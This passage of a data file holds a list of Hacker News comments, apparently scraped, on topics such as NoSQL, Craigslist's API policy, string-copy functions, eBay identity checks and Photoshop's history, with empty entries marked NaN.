police, including the really uptight one and a range of other people (potential employers, etc.), continuing for years after the actual night of drinking.\", \"How are complex queries impossible?  You could easy write a declarative language for querying graphs.\", \"To be fair, I think there are a lot more use cases than that. My last project and my current one both used NoSQL solutions. The former because graph walking is painful in SQL and the latter because schemaless documents enable so many new scenarios (in my case, the automatic mapping of user-created forms to the backend). For me, the performance ramifications of NoSQL is way overplayed compared to its usability improvements. It is certainly not a successor or replacement to SQL, but for applications that handle a lot of unstructured or semi-structured data, NoSQL makes code tighter, simpler and easier to reason about. Which means less bugs and faster deployments.<p>EDIT: I should qualify this argument by stating that I'm talking about datastores that support custom queries (like MongoDB and CouchDB) rather than ginormous k/v stores (like Tokyo Cabinet). I've found limited usefulness for the latter.\", \"Check out my app: <a href=\\\"http://wikipediagame.org\\\" rel=\\\"nofollow\\\">http://wikipediagame.org</a> :)<p>Here is how it was written: <a href=\\\"http://clemesha.org/static/talks/Django_and_XMPP_BoshWriting_a_real_time_web_app.pdf\\\" rel=\\\"nofollow\\\">http://clemesha.org/static/talks/Django_and_XMPP_BoshWriting...</a>\", NaN, \"er, maybe check the larger Wikipedia article at <a href=\\\"http://en.wikipedia.org/wiki/Supervolcano\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Supervolcano</a>\", \"<i>But... isn't that what the author says?</i><p>Not really.  As pointed out above, the author doesn't appear to understand that the associative/non-associative distinction is literally undefined unless we're talking about a binary operator from a set to itself.  Saying that < is a non-associative operator is wrong, something like saying that a vector is a non-odd number; as long as we're complaining about parenthesization, I'd suggest the author rephrase his statement and say that < is a non-(associative operator), which at least means something.<p>An expression like a < b < c <i>should</i> be a type error - no possible parenthesization could make it a valid statement.<p>It's easy enough to come up with a way to make < work like this, though, by changing the signature of < so that it takes and returns a helper class instead of a numerical value, with automatic type coercions to that helper class from numerical values on both ends and booleans on the right edge.  This should be easy in a language like Scala, probably a 10 minute exercise if you know what you're doing.<p>If we make this helper class hold both the left edges of the chain and the right edges, and use the appropriate edge for each comparison, then the thing <i>is</i> associative.<p>((a > b) > c) > d is the same as a > (b > (c > d)), since in either case, each element will at some point be checked with > against both of its neighbors, and only those neighbors, and the overall expression will be coerced to true if and only if the strict ordering is preserved at each check.  Process left to right, and it works out.  Even if we get messier and allow >, >=, <, <=, and == into the mix, we can mix and match everything, and the whole thing will only be true if every neighboring check is true.  The author's worry in the blog comments about '1 < 2 > 1' evaluating to true strike me as odd: that <i>should</i> evaluate to true under any reasonable definition of those operators.<p>So even if we do make < into an operator such that it makes sense to talk about its associativity, it turns out to be associative.  Which is why mathematicians don't bother parenthesizing their chained < expressions, there's just no ambiguity.<p>The article is plain wrong, IMO.\", NaN, \"He said the client constrained him to stay close to original.\", \"Drones are fine for taking pictures from the sky and sending missiles into specific locations, but to get those locations you often need troops on the group to provide that intel- the enemy knows the drones are out there, so they don't stand in the open unless they can help it. Satellite imagery is the same deal.<p>Sure, we'll see an increased use of UAVs, both airborne and otherwise in the years to come, but I think you'll find we're a long way off replacing troops with drones.<p>On a similar note- despite the increased used of signals intelligence, we're a long way from doing away with human intelligence gathering.<p>Warfare is changing but kenetic warfare involving boots on the ground isn't going anywhere. In fact the modern war zone makes using UAVs harder. It's dudes in caves and villages wearing civilian clothes, walking amongst innocents. War on the scale of the World Wars was probably better suited to UAV versus UAV. These days it's different.\", \"It's not a new release, it's the beginning of development on a new version because they shipped the old one. This is no different than any other development process ship cycle, one of the first things you do after you ship is rev. the version number for new development. That doesn't mean there's any substantial feature difference, the unusual bit when it comes to chrome is the dramatically open development process of the dev team, which gives anyone in the world the ability to install what are basically automatically updated daily builds just by selecting one radio button over another.<p>By the time that version 5 actually ships it will certainly have new features.\", \"No, it's real alright, as far as I can see.<p>There are English and German webshops that list them, with prices and delivery dates. I doubt they would do that just for kicks, unless they're using this as some tricky pre-ordering scheme.<p>I'm not sure why the distribution is so incredibly spotty though, and that alone would be one really good reason not to buy one right now, even if you could get evidence someone has one in their hands.<p>If you have to RMA one there is no telling when you will get a replacement.<p>There is also the risk of getting some parallel imported 'B' choice hardware.<p>These were 3 months late and in much smaller volume than you would expect for a product that has been announced with so much hoopla.<p>It could easily be another 3 months before that normalizes by the looks of it.<p>First mention I can find of someone that really got their hands on one is January 10th.\", \"The philosophy of Steve Jobs is a healthy one:<p><a href=\\\"http://www.youtube.com/watch?v=cCvLTlQWT6A&feature=related#t=02m20s\\\" rel=\\\"nofollow\\\">http://www.youtube.com/watch?v=cCvLTlQWT6A&feature=relat...</a><p>(They speak about startups and devices a few minutes later)\", \"If A players hire A players and B players hire C players, how do the B players ever get hired?<p>Yes, I'm being facetious. But even fortune-cookie level business advice should pass basic sanity checks like this one.\", \"Honestly, in my experience - wishing for common sense and latitude in public officials.<p>I <i>know</i> its fun to rag on public officials on Internet forums.  But <i>most</i> of the ones I know have been fairly decent people who are just doing their jobs.  There're a few bad apples, but there're a few bad apples in any population.  Even the TSA officials (which gets my vote for \\\"worst government bureaucracy\\\") were very apologetic when they confiscated my toothpaste.<p>I think that you're more likely to get absurd institutional behavior - like confiscating toothpaste - when you <i>deny</i> latitude in employee judgment.  The TSA screeners have this massive rulebook that they have to follow, and they risk losing their job when they deviate from it, even if they personally believe the rules are stupid.<p>Same with the private sector.  Companies that have the best reputations tend to be those that empower their employees to solve the customer's problem, like Virgin or Nordstroms.  Companies with the worst reputations tend to be those where the employees can't do anything but follow the playbook, like most telecoms.\", \"The problem is, with jQuery specifically, not all functions are declared in the conventional fashion. E.g. trying to find the \\\"height()\\\" method is quite hard with a simple IDE search tool -- look how its defined: <a href=\\\"http://gist.github.com/291542\\\" rel=\\\"nofollow\\\">http://gist.github.com/291542</a><p>It's easy when they're declared as \\\"function name(){}\\\" or \\\"name: function(){}\\\" (in an object) .. or even \\\"name=function(){}\\\" ... but beyond that, it's simply not worth using your IDE's find tool.\", \"The variations weren't dramatically different.  Seems like it would be good to start off with a few very different approaches and then tweak to \\\"climb the hill\\\".\", \"They might. I don't know. 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API cut in 3... 2... 1...\", \"The only difference between strcpy_s and strlcpy, other than taking arguments in a different order and being more annoying to type, is that if an overflow would occur, it sets destination[0] to 0 rather than truncating.  This is probably an improvement, since truncation can cause security problems if you're building filenames and such (though, should you fail the test accidentally, I suspect it's much harder to track down why a string somewhere in your app became empty than why it was truncated)... but is it really worth switching to yet another string copy function?<p>(well, from a BSD perspective.  Apparently strcpy_s has been around on Windows since Windows 95.)\", \"One suggestion. You should put a link to your bookmarking tool. There is no shame on promoting yourself in the right context. Or at least put it in your profile.\", \"I think your comment <a href=\\\"http://news.ycombinator.com/item?id=3838971\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=3838971</a> is very relevant to this discussion.\", \"> $500 is a fairly negligible difference<p>No, it really isn't negligible. $500 can be the difference between a laptop with absolute crap build quality and a laptop with great build quality. There is a reason that HP (and most other vendors) have different models with different starting prices, and it has very little to do with base specs.<p>The DV6t has such a low starting price because it isn't built well, simple as that. I don't care if you put a screaming fast CPU in it and the highest quality screen possible. It still has shit build quality. It is still built like a $800 dollar laptop.\", \"You can keep trumpeting RIM's death, or you can do your own research and see what they're working on. They're gaining a lot of points with developers, especially in the Qt and FOSS communities.<p>Will they beat Android/iOS? Maybe. Are they better to develop on? In my (and many others) opinion, yes.<p>But don't take my word for it, find out yourself.\", \"Very sad story.  I think there are legal documents (Medical proxies?) that can help avoid this.  As painful as the story is, I also think the other alternative can be abused.\", NaN, \"Is this so unusual? I try to use my bank cards only at my bank's ATMs to keep profiling to a minimum. Sure, every now and then I end up at a register and discover that I am out of cash. Makes me feel uneasy every time. But it surprises me that this is on the front-page of a tech-savvy community - I thought we were all like that guy anyway.\", NaN, \"2008: 1 Eur = 1.60 USD<p>Now:  1 Eur = 1.25 USD<p>That looks a little different.\", \"Since Apple's users actually pay for their products, Apple is more motivated to protect privacy IMO.\", \"My cheap Japanese phone can tether -- but the carrier makes a distinction between packets originating from the phone and those from the computer, and they charge extra through the nose for PC packets (100$+ per month if you exceed a few megabytes, in extra to normal phone charges). All this while I can get a dual-mode WiMAX/3G WiFi router that fits in a pocket, has a day of battery life, unlimited data and transfers much faster for 50$/month. The problem isn't the hardware, it's the carriers.\", NaN, \"Nit: Collecting a dead object is not free with a copying GC. You still have to scan it during the Cheney scan or mark phase.\", \"If the bounds check was performed after casting to unsigned, there would have been no problem.  The vulnerability occurred because a bounds check was incorrectly performed on a signed value.\", \"It seems to me that if it is anything it is a memorial to Steve Jobs. His glider was stopped.\", \"I was selling something for over $1000. The questions were something like:<p>\\\"Which of these cities did [Grandmother's name] own property in.\\\"<p>\\\"Which of these people are related to you?\\\"<p>The questions themselves are relatively innocuous, but the entire situation of where the information comes from and how my answers get used is rather disconcerting on multiple levels, especially since there really isn't enough information to make an intelligent decision.\", \"You'd be surprised how often you can impress people with an iota of initiative and forethought / googling.<p>Hell, I impressed a neuroscientist with a rigorous education in maths the other day (I'm a dropout) by calculating the tip in my head instantly.\", NaN, NaN, NaN, NaN, NaN, \"Previous submission, with skeptical comments:<p><a href=\\\"http://news.ycombinator.com/item?id=3833759\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=3833759</a>\", \"They could land and perch silently, but when flying they are really obvious.\", NaN, \"Really?! It's like a sneaky background check.<p>Can you clarify: Were you selling something for more than $1000 or buying something for more than $1000?<p>What were the questions exactly (not stating the personal data of course)? And how were you supposed to answer, i.e., did you have to type in names and addresses, or pick the answer from a multiple choice list, or what?\", \"In the marketplace consumer expectations can get higher, a sense of entitlement develops, and that entitlement can be the valid effect of genuine progress.  Not because the providers <i>have</i> to satisfy our sense of entitlement, but because they <i>do</i>, because that's what it takes to compete until at some point that's what's expected just to play the game.  Food providers at some point stopped competing on food safety because everyone demanded everything be safe.  We started expecting cars to be very reliable, and if someone makes an unreliable car then fuck caveat emptor, it's not going to become a matter of whether some consumers are willing to make that compromise and some are not  instead your brand becomes shit and you have to beg people to come back, if you can at all.  Right now we don't have that expectation about APIs; but some people want us to, we are moving that direction, and <i>maybe</i> we will get there.  Or maybe we'll get somewhere else; progress however ensures that we will get <i>somewhere</i>, that consumers will find something new about which to feel entitled.<p>And yeah, these companies don't \\\"owe\\\" us anything, but consumers (even the subset of developer-consumers) can still get pissed off at them and say shit and that's the fucking market.  And maybe it won't mean anything, maybe it'll all fade away... and maybe it won't.  That's the risk those brands are taking.  It's our market-based prerogative to bitch about whatever the hell we want to bitch about, using whatever hyperbole we want, with any sense of entitlement that we've acquired.<p>If someone starts sending mail bombs to these companies because they aren't tending their APIs as we'd like, then that's coercion.  But there's no coercion here, this is just people offering their opinions.  So quit yer whining about our whining, the internet has entitled us to whine as much as we fucking want to, and has offered market-based ways to lift or bury that whining.\", \"well, old is not always old for everyone - it's reaching front page so clearly it's news for some people ;)\", NaN, \"From Lessig's \\\"The Future of Ideas\\\" concerning the lawsuit against Bidder's Edge for scraping eBay data:<p><i>Both sides had a point, and while my bias is with [Bidder's Edge], I dont mean to deny the plausibility of a different regime. What I do deny, however, is that the answer to this question is obvious.</i>\", \"The question was how Padmapper provides value to Craigslist. I answered that. The increased value is true whether or not Craigslist wants to maximize revenue.\", \"That is possible. But I get the feeling they naively stumbled into that outcome by genuinely trying to be decent.\", \"china wholesale .\", \"What's discussed before? Sounds like pretty huge news to me - how come the world has been so quite for the last 2 months?<p>I'm reading it for the first time, so it does make me wonder.. bunch of scientist claiming their 15 minutes of fame?\", \"Most succinct and best comment - the original post is a tempest in a teapot. Craigslist is free to optimize their lock-in on their marketplace and web-savvy users are free to bitch about the effects thereof (I did on Twitter twice over), most likely to little effect in the short to medium term. Maybe enough complaints and CL will get its act together. Maybe it won't. But that's fine! Let's continue speaking out against CL's uncool behavior and hope for the best.\", NaN, \"All these companies were built on an infrastructure which tax payer's money funded the development of before it promised to make a profit. More taxpayer money was put into the development of the internet than the Manhattan project.  Private companies are reaping the benefit - in my opinion they owe it us to keep the system open, and API's are just a token gesture in that direction.\", \"There's no obligation for any company to create an ecosystem about themselves.  It's also not a universal strategy that always maximizes value.  3rd parties can walk with their feet when they don't like it.  If companies are unreasonable, they get punished in the market.  Why is this so controversial?\", \"In the last 6 months our team has shoestringed a bookmarking tool for power users. The project is stable beta, but now we have a problem:<p>0. No connections in the valley.\\\\n1. No money for advertising.\\\\n2. Both of us are introverts. Unfortunately this excludes social promotion.<p>We are looking to make a project for you in the next 3 to 24 months and we'd like to have publicity for our project in return.\", \"Sorry for posting an oldie ha Here's the one that really peaked my interested from today.<p><a href=\\\"http://www.msnbc.msn.com/id/47932940/ns/technology_and_science-science/\\\" rel=\\\"nofollow\\\">http://www.msnbc.msn.com/id/47932940/ns/technology_and_scien...</a>\", \"Wait! Wait a gosh-darn second here!<p>Craiglist <i>is</i> available by RSS and would not be too hard to scrape. You want \\\"API access\\\", you got it. Unlike Facebook, I haven't heard of anyone tossed off Craigslist for using a script to access the data Craigslist is happy to give out for free.<p>Ah, but you don't want \\\"API access\\\", you want a license to <i>resell</i> the data - and for free! You want different terms of use. Etc. Wah, wah, wah.<p>Guess what? That's different. Obviously.\", \"Sounds like you feel over $1000 about that. Yeah, creepy.\", \"If they had stuck an APU in the Air, we might not have had to wait<p>[1] <a href=\\\"http://lenzfire.com/2011/11/reason-for-apple-to-reject-amd-llano-based-apu-for-macbook-air-43419/\\\" rel=\\\"nofollow\\\">http://lenzfire.com/2011/11/reason-for-apple-to-reject-amd-l...</a>\", \"> I, personally, save several hours every time I look for an apartment by using padmapper over Craigslist.<p>> Fuck Craigslist. Seriously.<p>It's a bit disingenuous to say fuck Craigslist when the data you are using above...comes from Craigslist. Shouldn't you have switched to Zillow or another service by now if you hate Craigslist so much?\", \"So basically, early easy access to even just a family doctor willing to describe the most basic meds and a lack of stigma attached to taking those meds would save society and families a ton of grief and expense.<p>But since we are in the USA, this will take decades to happen, if ever. The only hope is a massively profitable, universal drug is invented, then pharmaceutical companies will fall all over themselves spending a fortune to market it like viagra and make it \\\"hip\\\".\", \"It makes the display 'pop' indoors, some people like shiny things, and it <i>is</i> a popular platform for art-stuff.\", \"I wasn't talking about virtualenv only. I was referring more to just using setuptools and pip to manage dependencies and upgrades.<p>However, system packaging is orthogonal to virtualenv. You can have virtualenv setup packaged inside an RPM (an isolated, self contained package).<p>> How do you use rpm to provide isolation of dependencies and simple control of PYTHONPATH?<p>Our product has about 50 or so RPMs. Only a couple of packages needed self-containment. Isolation has its downsides -- you cannot reuse code. So we have managed to avoid it as much as possible.<p>> but you really don't understand the Python world at all<p>I understand the \\\"deliver a product\\\" world though. Python is part of the product, not the whole product. I think it is little short-sighted to assume everything is just Python and that is the end of the world, and just run \\\"setup.py install\\\" and you are done. And yes, we have been through the \\\"just run pip\\\" or \\\"just run setup.py install as root\\\" before, and it creates a dependency and upgrade tracking nightmare.<p>Install a plugin using \\\"setup.py install\\\". Then update the package and remove some modules, run \\\"setup.py install\\\" again.<p>Now all of the sudden your system is messed up because it picks up old, modules that have not been cleaned by properly removing a previous package when upgrading.\", \"In the US, judges rewrite the law with every ruling. Since the precedent established by a case is used in future decisions, the \\\"real\\\" law (the one which your actions will be compared against in court) is the base law passed in congress plus all of the precedent that has been piled on top of it.\", \"Now you're just arguing for the purpose of arguing.<p>The official doctrine of the Catholic Church supports adult stem cell research. That's just a fact. Sorry.\", \"Implementations:<p>C:    <a href=\\\"https://github.com/floodyberry/siphash\\\" rel=\\\"nofollow\\\">https://github.com/floodyberry/siphash</a><p>Go:   <a href=\\\"https://github.com/dchest/siphash\\\" rel=\\\"nofollow\\\">https://github.com/dchest/siphash</a><p>C:    <a href=\\\"https://github.com/emboss/siphash-c\\\" rel=\\\"nofollow\\\">https://github.com/emboss/siphash-c</a><p>Ruby: <a href=\\\"https://github.com/emboss/siphash-ruby\\\" rel=\\\"nofollow\\\">https://github.com/emboss/siphash-ruby</a><p>Java: <a href=\\\"https://github.com/emboss/siphash-java\\\" rel=\\\"nofollow\\\">https://github.com/emboss/siphash-java</a>\", \"Craigslist aren't doing this strictly out of the kindness of their hearts.<p>By charging for only a small number of listing, CL accomplish two things:<p>1. They create a large marketplace, which by virtue of its size provides more value than if it were a smaller, more diversified set of markets.<p>2. It \\\"sucks the oxygen out of the room\\\" for any competitor attempting to create a similar service.  There are a few other commerce-related online sites -- eBay, Amazon, iTunes store, etc., and even a few competing specialized listings services (jobs, apartments, etc.)  -- but none that specifically serve the general classifieds market.<p>I do suspect that there's a genuine component to CL's community service mission.  But that doesn't mean the self-serving aspects of its behavior are any less valid.\", \"when you submit your information to craigslist you agree to their tos.  If you don't accept you don't have to submit your information to them.  Once the information is in their database theres now two sets of data.  Yours that exists on your hdd or your head and craigslist copy of the data that you submitted to them. You are free to do what you want with your copy of the data, submit it to other sites, allow other people to somehow scrape it... but craigslist copy of your data, they can now do what they want with it.\", NaN, \"It greatly overestimates driving times for Charleston, SC\", \"Cool, thanks.\", \"<i>Or is mere fashion and consumerism absent from the general public at large</i><p>I admit, I cracked a grin. Of all subjects to be devoid of fashion and consumerism, Apple?\", \"April 12th, and this was discussed before.\", \"Skeptical of the results, but it does make me wonder if the data from that mission is public?  Anyone know?\", \"\\\"supplements-eating Kurzweil\\\", ROTFL!\", \"Unfortunately, the very definition of manic (and schizoid) behavior precludes any sort of logic. My heart goes out to you. Mental illness and our society's still-prehistoric reaction to it are both atrocious.\", \"It isn't about 911 fans <i>doing</i> anything. Porsche has done this before, with the 914 vs. the 911. The 911 is an icon, and Porsche is a company that leans on history/lineage to help sell their cars, much like Triumph Motorcycles. They believe that keeping the idea of the 911 alive is better for the company in the long run.\", \"What about the posts I put on Craigslist in the future?  The ratings I give to Netflix?<p>Am I somehow mystically bound to never ask for more in return for the data I provide them?<p>Of course we can ask to change the terms.  It's a business transaction.\", \"I spent just a few minutes in the OpenIndiana code base and found it rife with potential issues. For example, in the hsfs file system, there are no pointer assertions to protect against null pointers:<p><a href=\\\"http://src.illumos.org/source/xref/illumos-gate/usr/src/common/fs/hsfs.c\\\" rel=\\\"nofollow\\\">http://src.illumos.org/source/xref/illumos-gate/usr/src/comm...</a><p>lines 158 thru 171... are just one example.<p>While yes, you could find this anywhere in any code base, we're talking about OpenIndiana. If this kind of issue is present in the file system handler, there's NO way this project is ready for prime time, never mind a production release.\", NaN, \"This seems to happen anytime people are forced to make a choice from a limited number of options. Everything from sports, to politics, to consumer electronics of different types. I think it's because our brains are really good at comparing two or three things. It may even be that we have a sort of obsession with comparing things. We just can't help ourselves. When your available options expand though it becomes far more difficult to compare. The thrill of comparing two objects and reaching the correct conclusion is gone at that point. The stakes are also much lower. Few people are going to sit down and compare a dozen different things so even if we do make the <i>wrong</i> choice no one is going to notice.\", \"They made 1,200 of the things. Failing to be wealthy enough to own such a limited-production car is only called \\\"failure\\\" by a very few.\", \"<a href=\\\"http://paulgraham.com/identity.html\\\" rel=\\\"nofollow\\\">http://paulgraham.com/identity.html</a><p><a href=\\\"http://lesswrong.com/lw/gt/a_fable_of_science_and_politics\\\" rel=\\\"nofollow\\\">http://lesswrong.com/lw/gt/a_fable_of_science_and_politics</a>\", \"The other day I made an eBay account, and in order to raise the maximum sale amount beyond $1000 eBay made me answer personal questions about my relatives, information that they had apparently found out from some commercial database, which I'm sure will then be fed back into that database. Not really sure how I feel about that.\", \"Sometimes the companies do it to themselves: Digg succeeded in defeating the network effect. CL is certainly aware of <i>that</i> fiasco.\", \"iFixit seemed to suggest the panel is from LG Phillips. I doubt Apple have much to do with the panel per se, but the actual design of the new cover glass and the way they make it that thin might be patentable.\", \"That sounds about the standard.\", \"There are tons of reasons why Craigslist, as a business, may have taken this road, from a simple \\\"less hassle for us\\\" down the road to \\\"we're building our own stuff\\\" to. who knows.  They're a private business - they can do what they want - we don't get to demand insight.<p>The vast majority of their users don't give a hoot about whether or not other parties have a way to wrap up craigslist data and do stuff with it.<p>The whole point of the Internet is that it's a collecation of independently run networks that can communicate. \\\\nThe point of the WWW is to serve hyeprlinked pages to people.\\\\nThere IS NO POINT to the internet - it just happened, and here we are.\", \"And nobody owes Craigslist, LinkedIn, or Netflix anything either. They can act as shitty as they want, but nobody should be surprised when it gives them bad press.\", \"The users are also within their rights to request that Craigslist share that information with third parties via an api, or by scraping for that matter.<p>The point is that Craigslist is not the only side in the transaction and should not be presumed to be able to set the terms on their own.\", \"Paranoid Linux used to do something similar.  The concept was lots of seemingly real browsing traffic would be randomly generated through your computer, and this would add a significant amount of noise to the total web browser traffic to your machine.\", \"I want in on this free food!  Living on the beach doesn't sound like it has good internet connectivity though.\", NaN, \"I have heard of duck-typing but not duckface-typing.\", \"For what it's worth:<p>\\\"21% of patients with bipolar disorder and a diagnosis of severe substance abuse (alcohol or illegal drugs) were convicted of violent crimes, compared to 5% of those with bipolar disorder but without substance abuse, 5% among the unaffected siblings of bipolar patients, and 3% among general public control individuals.\\\"<p>Source: <a href=\\\"http://www.ncbi.nlm.nih.gov/pubmed/20819987\\\" rel=\\\"nofollow\\\">http://www.ncbi.nlm.nih.gov/pubmed/20819987</a><p>I haven't actually read the study much less the rest of the research on this, but the actual statistics on this (whatever they are) seemed conspicuously absent from this article. In fact there really really no statistics whatsoever. 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If you explain, maybe we&#x27;ll see if indeed pointing out &quot;optional&quot; is the opposite of &quot;fundamental&quot; is indeed &quot;non-reasoning&quot;.\", \"That&#x27;s a very impressive case of double think.<p>Google codes Chrome in order to make it more useful for various kinds of customers, such as customers who have virus scanners.<p>And this becomes &quot;Google putting its own interests ahead of its users&quot;?<p>Back here in reality, that&#x27;s called the <i>customer is always right</i> and is a fundamental tenet of business.\", \"Posts revolutionary technology to HN, get&#x27;s feedback on website.\", NaN, \"Many years ago, I remember being absolutely enthralled by learning about how the first version of Photoshop was developed by the brothers, John and Thomas Knoll, in Dr. Dobb&#x27;s Magazine.<p>&quot;Tom is really a super programmer. He&#x27;s one of the best engineers I know. He just wrote this terrific, great code.&quot;<p>&quot;It became much bigger than we thought it would, but it kept getting better and better.&quot;<p>The original source code (thank you, Computer History Museum!!)<p><a href=\\\"http://www.computerhistory.org/atchm/adobe-photoshop-source-code\\\" rel=\\\"nofollow\\\">http://www.computerhistory.org/atchm/adobe-photoshop-source-...</a><p>One of the characteristics of brilliant engineers (and engineering teams of the likes of Jeff Dean&#x27;s) may be that that they create the opposite of technical debt as they work...<p>> From the time he decided to stop school until Version 1.0 shipped was almost two years. It became much bigger than we thought it would, but it kept getting better and better.<p>Tom is really a super programmer. He&#x27;s one of the best engineers I know. He just wrote this terrific, great code.<p>Version 1.0 was a usable tool largely because I was trying to use it to solve real-world problems. I would run into something that would just stymie me. There&#x27;s got to be a way of doing this, and then Tom would scratch his head and go, &quot;That would be hard.&quot; He would think about it a while. I would talk to him a few days later and he would say, &quot;I was thinking about that and I had this great idea.&quot;<p>I was goading him a little bit, too. I would say, &quot;You know what I really want to do? I want to make one of these selections so that I can like select some area and then the paint only affects just the area selected.&quot; Tom would say, &quot;Oh, thats going to be impossible to make that go real time. It&#x27;s going to be really slow.&quot; I&#x27;d say &quot;Oh, come on, Tom. I&#x27;ll bet you can do that.&quot; About a week later he would say, &quot;I was thinking about it, and I think I&#x27;ve got a way.&quot; It was often a whole lot of exchanges like that where at first Tom thought it would be really hard, but he would keep thinking about it. He&#x27;s brilliant that way, and he would come up with a clever solution to the problem...<p>&quot;A Conversation with John Knoll&quot;<p><a href=\\\"http://www.drdobbs.com/a-conversation-with-john-knoll/184410606\\\" rel=\\\"nofollow\\\">http://www.drdobbs.com/a-conversation-with-john-knoll/184410...</a>\", \"> <i>For many cancers, the authors argue for a greater focus on the early detection of the disease rather than on prevention of its occurrence. If misinterpreted, this position could have serious negative consequences from both cancer research and public health perspectives.</i><p>> <i>In principle ... nearly half of all cancer cases worldwide can be prevented</i><p>I am not sure what to take from this article. Lung cancer prevention is already in progress. At the same time prostate cancer has even higher mortality (for non smokers) and preventive checks are not even covered by most  insurance companies.\", NaN, \"It will be livestreamed.\", \"Aka the shitty airport hotel in the moscow airport while they were waiting on a decision regarding his stay.\", \"Please clarify your assertion. Are you saying real estate price <i>increases</i> have contributed 5% of employee costs, or (and this is what everyone else so far reacting to your assertion is interpreting) are you saying residential real estate is 5% of employee compensation costs? Increases in SF and SV area alone over the past 10 years, I can easily buy the 5% figure; could be even smaller. But see my comment further below on the where the bar is for companies to make major changes to capture small payroll savings.<p>If you are describing an increase as a contributory factor, then you are obviously missing the time period that goes along with that increase you are talking about, so readers can go and look up the historical real estate pricing data.<p>At 6-figure high-competency-developer total compensation package (and salary) levels in the US, you are looking at the 28% marginal tax bracket for the employee. High-wage employees like these developers will typically pencil out to 100-150% fully burdened to the company. For top 20 metro areas in the US, you will tend to see most such employees spend closer to 45-50% of gross pre-tax income on shelter costs (counting PITI plus maintenance), rather than the 33% that is the historical prudent personal financial planning guideline (and those guidelines should be taken with a grain of salt for reasons I won&#x27;t get into here).<p>With my CFO hat on, I look at the ratio of third-highest decile (with 50% pinned to the median) of PITI plus maintenance in the parts of the city I anticipate most such employees would prefer to live, to the total burdened cost per developer, to establish just how much the company is paying for shelter costs of its employees. It&#x27;s a surprisingly large percentage for the top 10 metro areas, though everyone&#x27;s specific numbers will be different based upon neighborhoods they choose, time period, etc. The ratio of course goes up as you travel down the skill (and payroll cost) ladder.<p>Even with highly-compensated and -skilled employees towards the higher end of the skill ladder, I was coming up with ratios closer to 10% than 5%. I&#x27;ve seen companies move mountains to capture far, far smaller payroll savings percentages.<p>What is much more difficult to quantify however, are the soft benefits of ready access to the large, concentrated ecosystem that grew up around the industry in that geographic area. Clearly, many companies today consider those soft benefits worth the incurred hard total compensation package costs. It&#x27;s a calculation that you and your advisors should make and continually revisit once in awhile for your venture&#x27;s own individual circumstances.<p>For some smaller outfits who already have an assembled team and are in their early development stage, it is arguable that those soft benefits do not outweigh the immediate cash flow benefits of avoiding the high cost of living areas.\", NaN, \"That&#x27;s ridiculous for a couple of reasons:<p>1. This is adware: sure it might not remove itself cleanly, but it doesn&#x27;t have any mechanism to re-apply itself after being removed properly.<p>2. Malware can&#x27;t magically re-apply itself when all its traces have been safely removed.<p>3. Reinstalling your OS is not a magic bullet, the image you&#x27;re installing may also contain the same malware and there are even some viruses that will hide in your BIOS or storage firmware.<p>Reinstalling your OS is a &quot;just-to-be-safe&quot; measure when you are not sure whether you&#x27;ve removed all traces. But when there are proper tools available such as this one that removes all traces you are safe.<p>It is much more important to know what you&#x27;re infected with and how to properly, than to have blind faith that reinstalling your OS will fix everything.\", \"Neither should you have to: &quot;It Just Works&quot;.\", \"Yeah, I know, I&#x27;m just echoing the perennial exasperation at science advancing bit by uncertain bit.\", \"Alternatively, today at 2pm and with much more content: the Female Founders Conference<p><a href=\\\"http://www.femalefoundersconference.org\\\" rel=\\\"nofollow\\\">http://www.femalefoundersconference.org</a>\", \"Clickables:<p><a href=\\\"http://i.imgur.com/qjcd6z7.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/qjcd6z7.png</a><p><a href=\\\"http://i.imgur.com/KKj24Kl.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/KKj24Kl.png</a><p><a href=\\\"http://i.imgur.com/3Lv2RXd.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/3Lv2RXd.png</a><p><a href=\\\"http://i.imgur.com/o0nbGN3.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/o0nbGN3.png</a>\", \"What am I missing here? What makes this addon so bad? It looks like it injects buttons/overlays to show &quot;lower&quot; prices of items you are already viewing. While I have zero desire to install this addon I&#x27;m failing to see what it&#x27;s doing that makes it deserving of being pulled.\", \"And it should also be pointed out that <i>only</i> governments can grant the power to print state-approved money. If you don&#x27;t have permission, you will go to jail. There are countless movie plots dedicated to this simple topic, it should already be pounded into most peoples&#x27; minds already.\", NaN, \"The screen turns blue \\u2013 yes, blue, not joking \\u2013 for a brief moment, and the system reboots. :)\", \"Ummmm, salary data source???\", NaN, \"If any answer on stackoverflow is &quot;just google it&quot;, the said answer will be downvoted because it doesn&#x27;t actually answer the question.\", \"It&#x27;s not as simple as that.  Most &quot;indecisiveness&quot; that appears to come from science is from different studies being taken out of context, or poor media reporting.  Most wild claims you see aren&#x27;t from the researchers themselves.<p>See Steven Novella&#x27;s recent blog post on this subject.<p><a href=\\\"http://theness.com/neurologicablog/index.php/scott-adams-on-science-and-nutrition/\\\" rel=\\\"nofollow\\\">http://theness.com/neurologicablog/index.php/scott-adams-on-...</a>\", \"I love how this is the most important comment on hacker news and gets the least upvotes.<p>This guy also has these ridiculously generic datasets and the geekerati goes nuts because he&#x27;s a vc.\", NaN, \"I&#x27;ve often held the opinion (and someone argue/correct me if I&#x27;m wrong here), that a lot of this artificial demand for growth is a problem due to inflation. I.e. Government keeps devaluing the currency and lowering natural interest rates, causing individuals (and banks) to seek riskier returns. This effect is pervasive in the economy.<p>I can&#x27;t even begin to comprehend what our economy/world would look like if interest rates and inflation weren&#x27;t controlled/manipulated by state governments. Sustainable companies? Ones that don&#x27;t chase every tiny increase in short-term profit/gain? I don&#x27;t know.<p>Would we even have such a huge equity market? Most of <i>everyone&#x27;s</i> money is in the equity market, and I have no idea why. Everyone is trying to leverage what little they have to &quot;beat inflation&quot; that they only thing they can do is either a risky business venture, or play the equity market.<p></rant_while_under_the_influence_of_food_poisoning>\", \"Do you downvote answers that are not direct answers to the question?\", \"I&#x27;m still sticking to Windows 7, the Windows 7 OEM disks are now behind a barrier which requires you to put in a valid key only from certain retailers.\", \"This was created primarily for Servo to use, and in general we don&#x27;t have enough resources to Rust-ify all the things right now. Eventually, maybe, but not now.\", \"The Foxfire books were a school project in 1960s rural Georgia to capture the dying knowledge of homesteaders - cabin building, soap rendering, animal husbandry, etc.<p>They were used by the 1970s commune movement as instruction manuals for 